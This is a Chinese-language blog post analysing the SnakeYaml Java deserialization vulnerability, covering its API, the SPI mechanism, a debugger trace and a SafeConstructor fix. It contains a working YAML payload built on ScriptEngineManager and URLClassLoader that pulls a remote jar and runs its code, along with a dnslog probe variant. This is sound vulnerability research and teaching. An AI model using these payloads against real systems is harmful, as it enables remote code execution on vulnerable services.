Java安全之SnakeYaml反序列化分析

Z时代
2024-01-10
分类：综合

java

Java安全之SnakeYaml反序列化分析

0x00 前言

偶然间看到SnakeYaml的资料感觉挺有意思，发现SnakeYaml也存在反序列化利用的问题。借此来分析一波。

0x01 SnakeYaml 使用

SnakeYaml 简介

SnakeYaml是用来解析yaml的格式，可用于Java对象的序列化、反序列化。

SnakeYaml 使用

导入依赖jar包

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

常用方法

String	dump(Object data)
将Java对象序列化为YAML字符串。
void	dump(Object data, Writer output)
将Java对象序列化为YAML流。
String	dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
void	dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
String	dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
String	dumpAsMap(Object data)
将Java对象序列化为YAML字符串。
<T> T	load(InputStream io)
解析流中唯一的YAML文档，并生成相应的Java对象。
<T> T	load(Reader io)
解析流中唯一的YAML文档，并生成相应的Java对象。
<T> T	load(String yaml)
解析字符串中唯一的YAML文档，并生成相应的Java对象。
Iterable<Object>	loadAll(InputStream yaml)
解析流中的所有YAML文档，并生成相应的Java对象。
Iterable<Object>	loadAll(Reader yaml)
解析字符串中的所有YAML文档，并生成相应的Java对象。
Iterable<Object>	loadAll(String yaml)
解析字符串中的所有YAML文档，并生成相应的Java对象。

序列化

Myclass类：

package test;
public class MyClass {
    String value;
    public MyClass(String args) {
        value = args;
    }
    public String getValue(){
        return value;
    }
}

Test类：

@Test
    public  void test() {
    MyClass obj = new MyClass("this is my data");
    Map<String, Object> data = new HashMap<String, Object>();
    data.put("MyClass", obj);
    Yaml yaml = new Yaml();
    String output = yaml.dump(data);
    System.out.println(output);
}
}

结果：

MyClass: !!test.MyClass {}

前面的!!是用于强制类型转化，强制转换为!!后指定的类型，其实这个和Fastjson的@type有着异曲同工之妙。用于指定反序列化的全类名。

反序列化

yaml文件：

firstName: "John" lastName: "Doe" age: 20

测试类：

@Test
    public  void test(){
        Yaml yaml = new Yaml();
        InputStream resourceAsStream = this.getClass().getClassLoader().getResourceAsStream("test1.yaml");
        Object load = yaml.load(resourceAsStream);
        System.out.println(load);
    }
}

执行结果：

{firstName=John, lastName=Doe, age=20}

0x02 漏洞分析

漏洞复现

首先还是先来复现一下漏洞，能进行利用后再进行分析利用过程。

下面来看到一段POC代码：

public class main {
    public static void main(String[] args) {
        String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://fnsdae.dnslog.cn\"]]]]\n";
        Yaml yaml = new Yaml();
        yaml.load(context);
    } 
}

成功获取dnslog请求，但是这poc也只能探测是否进行了反序列化。如果需要利用的话还需要构造命令执行的代码。

利用脚本其实已经有师傅写好了。转到这个github项目下下载该项目。打开修改代码。

脚本也比较简单，就是实现了ScriptEngineFactory接口，然后在静态代码块处填写需要执行的命令。将项目打包后挂载到web端，使用payload进行反序列化后请求到该位置，实现java.net.URLClassLoader调用远程的类进行执行命令。

python -m http.server --cgi 8888

测试代码：

public class main {
    public static void main(String[] args) {
        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml();
        yaml.load(context);
    }
}

命令执行成功。

SPI机制

在漏洞分析前先来了解一下SPI机制，在前面使用的执行代码的payload中看到使用ScriptEngineManager类来进行构造，其实ScriptEngineManager利用的的底层也是SPI机制。

SPI ，全称为 Service Provider Interface，是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件，自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。

那么如果需要使用 SPI 机制需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件，这个文件里的内容就是这个接口的具体的实现类。

在第一次听说SPI还是在看JDBC底层实现的时候，但是并没有去做多的了解。这里拿JDBC来举个例子。

SPI是一种动态替换发现的机制，比如有个接口，想运行时动态的给它添加实现，你只需要添加一个实现。

来看到连接驱动的jar包，这里就是在Java classpath 下的 META-INF/services/ 定义实现类。

而数据库有很多种类型，而实现方式不尽相同，而在实现各种连接驱动的时候，只需要添加java.sql.Driver实现接口，然后Java的SPI机制可以为某个接口寻找服务实现，就实现了各种数据库的驱动连接。

实现细节：程序会java.util.ServiceLoder动态装载实现模块，在META-INF/services目录下的配置文件寻找实现类的类名，通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。

漏洞分析

先来简单讲讲我理解的该漏洞利用的过程，建立在未对该漏洞分析前。

前面说到SPI会通过java.util.ServiceLoder进行动态加载实现，而在刚刚的exp的代码里面实现了ScriptEngineFactory并在META-INF/services/ 里面添加了实现类的类名，而该类在静态代码块处是我们的执行命令的代码，而在调用的时候，SPI机制通过Class.forName反射加载并且newInstance()反射创建对象的时候，静态代码块进行执行，从而达到命令执行的目的。

下面开始调试分析漏洞，在漏洞位置下断点

这里调用this.loadFromReader跟踪查看

以上就是各种赋值，需要注意的是数据的流向，这里没啥好看的，来步进到下面，下面的返回值调用constructor.getSingleData跟踪。

这里并没有走到判断体里面而是直接返回并且调用了this.constructDocument(),跟进。

这里调用this.constructObject就返回了一个Object对象，所以继续从这个方法跟进进去，查看实现。

跟进constructObjectNoCheck

这个点先跟踪 getConstructor

这里还是返回了一个反射的class对象，继续跟。

这里获取了name的值为javax.script.ScriptEngineManager,然后调用getClassForName对name进行传入获取cl的class对象。跟踪getClassForName。

在这里就可以看到使用反射创建了一个javax.script.ScriptEngineManager对象的具体实现，而后面代码则是一些赋值的。执行到下一步来到了这个。

跟踪construct方法查看，到了这部分其实就已经到了关键部分。

看到这段代码创建了一个array数组，并且调用node.getType.getDeclaredConstructors();赋值给arr$数组，回想前面的分析中，获取的name，也就是利用了javax.script.ScriptEngineManager，Class.forName进行创建反射对象并且赋值给note的type里面。而后这里getDeclaredConstructors()获取它的无参构造方法。

然后将获取到的arr数组添加到possibleConstructors

而后将获取到的possibleConstructors获取到的第一个数组进行赋值并转换成Constructor类型

这里回去遍历获取snode的值。

这里进行使用反射实例化对象。

到了这里以为就结束了嘛？不是的，其实我们现在只是知道了javax.script.ScriptEngineManager是如何进行实例化的，但我们并不知道javax.script.ScriptEngineManager实例化后是如何触发的代码执行。下面可以来跟踪一下SPI机制是怎么实现的。

在前面反射调用无参构造方法后，会走到这里，下面调用init方法跟踪一下。

跟踪

看到这里其实就和前面讲到的SPI机制一样，调用getServiceLoader动态加载类，这里先在慢慢往下看

跟进该地方会看到调用hasNextService方法

这里会去META-INF/services/javax.script.ScriptEngineFactory获取实现类的信息

下面再来跟进itr.text

这里会去实例化接口的实现类

走到这一步命令执行成功。

0x03 漏洞修复

其实该漏洞涉及到了全版本，只要反序列化内容可控,那么就可以去进行反序列化攻击

修复方案：加入new SafeConstructor()类进行过滤

public class main {
    public static void main(String[] args) {
        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml(new SafeConstructor());
        yaml.load(context);
    }
}

再次进行反序列化会抛异常。

再者就是拒绝不安全的反序列化操作，反序列化数据前需要经过校验或拒绝反序列化数据可控。